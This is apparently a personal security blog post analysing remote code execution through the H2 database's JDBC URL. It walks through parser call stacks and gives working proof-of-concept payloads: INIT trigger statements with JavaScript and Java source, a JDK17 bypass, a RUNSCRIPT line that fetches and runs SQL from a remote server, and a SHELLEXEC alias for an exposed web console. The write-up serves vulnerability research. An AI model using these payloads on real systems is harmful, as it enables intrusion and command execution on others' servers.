w0s1np

w0s1np

记录学习和思考 快就是慢、慢就是快 静下心来学习
github

JDBC H2 Attack

JDBC H2 Attack#

H2#

$$ in H2 represents setting a function

image

eval executes the script with the mutated var3 name

Call stack:

loadFromSource:102, TriggerObject (org.h2.schema)
load:82, TriggerObject (org.h2.schema)
setTriggerAction:144, TriggerObject (org.h2.schema)
setTriggerSource:137, TriggerObject (org.h2.schema)
update:117, CreateTrigger (org.h2.command.ddl)
update:198, CommandContainer (org.h2.command)
executeUpdate:251, Command (org.h2.command)
openSession:243, Engine (org.h2.engine)
createSessionAndValidate:171, Engine (org.h2.engine)
createSession:166, Engine (org.h2.engine)
createSession:29, Engine (org.h2.engine)
connectEmbeddedOrServer:340, SessionRemote (org.h2.engine)
<init>:173, JdbcConnection (org.h2.jdbc)
<init>:152, JdbcConnection (org.h2.jdbc)
connect:69, Driver (org.h2)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:8, H2

0x01 TRIGGER RCE#

javascript#

In JDK15, the JavaScript /Nashorn engine has been completely removed (which means that //javascript cannot be used for RCE in versions above jdk15, jsEngine will be null and then a null pointer error will occur)

Environment

jdk8u20

<dependency>
      <groupId>com.h2database</groupId>
      <artifactId>h2</artifactId>
      <version>1.4.200</version>
</dependency>
import java.sql.DriverManager;

public class H2 {
    public static void main(String[] args) throws Exception {
        Class.forName("org.h2.Driver");
        String simplexp2 ="jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS '//javascript\n" +
                "Java.type(\"java.lang.Runtime\").getRuntime().exec(\"open -a Calculator\")'";
        java.sql.Connection conn = DriverManager.getConnection(simplexp2);
    }
}

H2 Parsing Process#

    public JdbcConnection(String var1, Properties var2) throws SQLException {
        this(new ConnectionInfo(var1, var2), true);
    }

First, enter new ConnectionInfo(var1, var2) to see how to set some connection information

image

Enter readSettingsFromURL

image

Go back

image

name is the latter part of the value in the url, and then the name value will be parsed,

image

tcp: and ssl: will enable remote remote=true, and the subsequent check for remote will perform a remote connection

image

mem: indicates using memory mode, the database is stored in memory. test: the name of the database connection.

Because the poc sets mem:, it will make persistent = false;, which is useful here because there is a subsequent call to getName(),

image

If persistent != false;, it will check the name, and it will just happen to be true, then throw an error.

It will check whether name contains indicators of relative paths (such as ./, .\\, :/, :\\, etc.), and whether SysProperties.IMPLICIT_RELATIVE_PATH is false. If name is not an absolute path and does not contain these relative path indicators, an exception will be thrown.

Then return to new ConnectionInfo(var1, var2), and the rest is just a convertPasswords handling and converting passwords, but nothing is set here, so there is not much operation, thus ending the parsing of the connection information.

init#

image

Only after obtaining the connection information does the connection process begin

image

Reflectively load the H2 database engine class, and then create a session through the engine class

image

Call INSTANCE.createSessionAndValidate(ci) to create and validate the session, then enter openSession(ci);

image

Remove IFEXISTS (whether it exists), FORBID_CREATION (forbid connection), IGNORE_UNKNOWN_SETTINGS, CIPHER (connection password), INIT from the connection information, and then input some information to call openSession to attempt to open the session

image

In another openSession, the DATABASES name is obtained, and it checks whether it exists and whether forbidCreation is true. If neither condition is met, it creates the database, and subsequently creates a user and password, using mem:test as the key for the newly created database, then returns to the original openSession method.

If the init variable is not empty, it attempts to execute the initialization command.

parseCreateTrigger:6655, Parser (org.h2.command)
parseCreate:6231, Parser (org.h2.command)
parsePrepared:903, Parser (org.h2.command)
parse:843, Parser (org.h2.command)
parse:815, Parser (org.h2.command)
prepareCommand:738, Parser (org.h2.command)
prepareLocal:657, Session (org.h2.engine)
prepareCommand:595, Session (org.h2.engine)
openSession:241, Engine (org.h2.engine)

image

Initialization command completed

image

Then arrive at TriggerObject#loadFromSource, call to execute

image

image

This function loads the trigger object from the source code, first obtaining the database's compiler instance, then constructing the full class name of the trigger, which is org.h2.dynamic.trigger.TRIG_JS, setSource sets the trigger's source code to the specified class name, and then checks whether the trigger source code is JavaScript source code. If it is JavaScript source code, it compiles and executes the script.

Then first enter getCompiledScript()

image

Here, in JDK15, the JavaScript /Nashorn engine has been completely removed (which means that //javascript cannot be used for RCE in versions above jdk15, jsEngine will be null and then a null pointer error will occur).

Next, let's see how to obtain the js engine,

image

"nashorn", "Nashorn", "js", "JS", "JavaScript", "javascript", "ECMAScript", "ecmascript"

image

Then names is matched with the name we passed in, and if matched, it returns the initialized engine.

However, it is important to note that there is also a check for javascript beforehand:

image

Summary#

This attack method mainly relies on java Trigger (Java trigger), which is a container for executing backend Java code logic to achieve RCE. After the init command is partially read, it is treated as the Trigger's Trigger source code, and then the corresponding engine is used to execute that source code.

Writing poc mainly looks at the process of parsing SQL statements.

0x02 Bypassing //javascript#

Attempt to Register Engine (Failed)#

Because after JDK15, javascript cannot be used

image

The above image shows that in jdk17, when obtaining jsEngine, it is null, leading to subsequent errors, because the registered engine was not found in associations, and no engine was found in the engineSpis collection.

image

Then I found a place in jdk17 where associations can be registered

image

However, it is necessary to see what the previous factory was, and then check that the factory used in jdk8 is NashornScriptEngineFactory, and the spis is obtained through its name.

image

image

                            ScriptEngine engine = spi.getScriptEngine();
                            engine.setBindings(getBindings(), ScriptContext.GLOBAL_SCOPE);
                            return engine;

Check which classes implement the factory interface in jdk17, unfortunately, there are none.

image

The main issue is that jdk17 does not have NashornScriptEngineFactory and NashornScriptEngine, and the original code directly creates a ScriptEngineManager and looks for the engine without any additional operations, which you cannot control.

Control Trigger Code Generation#

import java.sql.DriverManager;

public class H2_Bypass {
    public static void main(String[] args) throws Exception {
        Class.forName("org.h2.Driver");
        String simplexp = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
                "INFORMATION_SCHEMA.TABLES AS $$ void Unam4exp() throws Exception{ Runtime.getRuntime().exec(\"open -a calculator\")\\;}$$";
        java.sql.Connection conn = DriverManager.getConnection(simplexp);
    }
}

Still, first check the command parsing part

Call stack

parseCreateTrigger:6780, Parser (org.h2.command)
parseCreate:6355, Parser (org.h2.command)
parsePrepared:645, Parser (org.h2.command)
parse:581, Parser (org.h2.command)
parse:556, Parser (org.h2.command)
prepareCommand:484, Parser (org.h2.command)
prepareLocal:645, SessionLocal (org.h2.engine)
openSession:279, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:8, H2_Bypass

image

image

image

image

image

image

Just right corresponds to the poc, and then go to the last trigger point

image

image

fullClassName and triggerSource are loaded into the compiler, and then follow up with getClass(className);

public Method getMethod(String className) throws ClassNotFoundException {
        Class<?> clazz = getClass(className);
        Method[] methods = clazz.getDeclaredMethods();
    ...

Following getClass, it directly goes to classLoader.loadClass(packageAndClassName);

image

image

By getCompleteSourceCode(), it completes the full class file's code, including package, className, sourcecode (in poc)

image

Then it uses javaxToolsJavac to load that class, puts it into a map, and returns that class object.

The above call stack:

findClass:151, SourceCompiler$1 (org.h2.util)
loadClass:592, ClassLoader (java.lang)
loadClass:525, ClassLoader (java.lang)
getClass:179, SourceCompiler (org.h2.util)
getMethod:244, SourceCompiler (org.h2.util)
loadFromSource:109, TriggerObject (org.h2.schema)
load:87, TriggerObject (org.h2.schema)

image

Finally, call invoke to trigger the malicious method.

0x03 INIT RunScript RCE#

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

poc.sql

DROP ALIAS IF EXISTS shell;
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
    java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('open -a calculator');

Call stack

execute:93, RunScriptCommand (org.h2.command.dml)
update:71, RunScriptCommand (org.h2.command.dml)
update:139, CommandContainer (org.h2.command)
executeUpdate:304, Command (org.h2.command)
executeUpdate:248, Command (org.h2.command)
openSession:280, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:7, H2_3

image

image

It executes each SQL statement in a while loop, executing one statement at a time.

$$ Logic#

Check how to parse to get the command, call stack

initialize:286, ParserBase (org.h2.command)
parse:552, Parser (org.h2.command)
prepareCommand:484, Parser (org.h2.command)
prepareLocal:645, SessionLocal (org.h2.engine)
openSession:279, Engine (org.h2.engine)
createSession:201, Engine (org.h2.engine)
connectEmbeddedOrServer:344, SessionRemote (org.h2.engine)
<init>:124, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:7, H2_3

Initialization

image

Enter Tokenizer.tokenize

image

This is the key to parsing the JDBC string, it will loop to match the starting character: for example, if our string is RUNSCRIPT FROM 'http://127.0.0.1:8080/poc.sql', starting with R enters the case to call readR.

image

readR first calls findIdentifierEnd to look for the keyword, here RSCRIPT has been found, but RIGHT EOW ROWNUM needs to be matched in order, and if not matched, it finally calls readIdentifierOrKeyword. Here, RUNSCRIPT extraction is completed.

image

Next, it skips the space

image

image

The From keyword

When encountering a single quote, it extracts the characters inside, obtaining tokens as follows:

image

Check the $$ logic

image

Where sql.substring(stringStart, stringEnd) is the function we defined

image

Bypassing $#

As seen above, $ is added through new Token.CharacterStringToken(i, sql.substring(stringStart, stringEnd), false);, search for CharacterStringToken

image

It can be found that readCharacterString also exists, and in case '\'' there is a call

image

So replacing $$ in poc.sql with single quotes is also possible, thus in 0x02 it can also be switched.

Issues to Note in poc#

If we normally write dangerous functions, we find that RCE cannot be directly achieved, why did the author add an escape character later?

String simplexp2 ="jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS ' void w0s1np() throws Exception{ Runtime.getRuntime().exec(\"open -a Calculator\")\\;}'";

image-20250328213424634

It can be seen that when passing in SQL, the extra escape character is gone, tracing back

image-20250328213432945

At this point, the original URL in ci is still jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS ' void w0s1np() throws Exception{ Runtime.getRuntime().exec("open -a Calculator")\;}'

image-20250328213442625

If no escape character is added

readSettingsFromURL:325, ConnectionInfo (org.h2.engine)
<init>:97, ConnectionInfo (org.h2.engine)
<init>:115, JdbcConnection (org.h2.jdbc)
connect:59, Driver (org.h2)
getConnection:681, DriverManager (java.sql)
getConnection:252, DriverManager (java.sql)
main:14, H2_1

image-20250328213454191

Because it is split by ;, it causes the dangerous function in the original poc to be divided into two parts.

Adding two escape characters is sufficient.

0x04 H2 Database Exploitation ALIAS#

Download the jar, I downloaded the latest version, and it needs to be started with jdk17, then directly connect, and there is an online h2 database.

/Library/Java/JavaVirtualMachines/jdk-17.jdk/Contents/Home/bin/java -cp h2-2.3.232.jar org.h2.tools.Server -web -webAllowOthers -ifNotExists
Web Console server running at http://192.168.1.148:8082 (others can connect)

Echo#

DROP ALIAS IF EXISTS SHELLEXEC ;
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;

// Call SHELLEXEC to execute commands
CALL SHELLEXEC('whoami');
CALL SHELLEXEC('ifconfig');

image

0x05 References#

https://xz.aliyun.com/news/15960?time__1311=eqUxnD0Gi%3DP4uDBqPdKGQGCYde0KqNDCAKeD

https://unam4.github.io/2024/11/12/h2%E6%95%B0%E6%8D%AE%E5%BA%93%E5%9C%A8jdk17%E4%B8%8B%E7%9A%84rce%E6%8E%A2%E7%B4%A2/#%E5%88%86%E6%9E%90

zjj

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.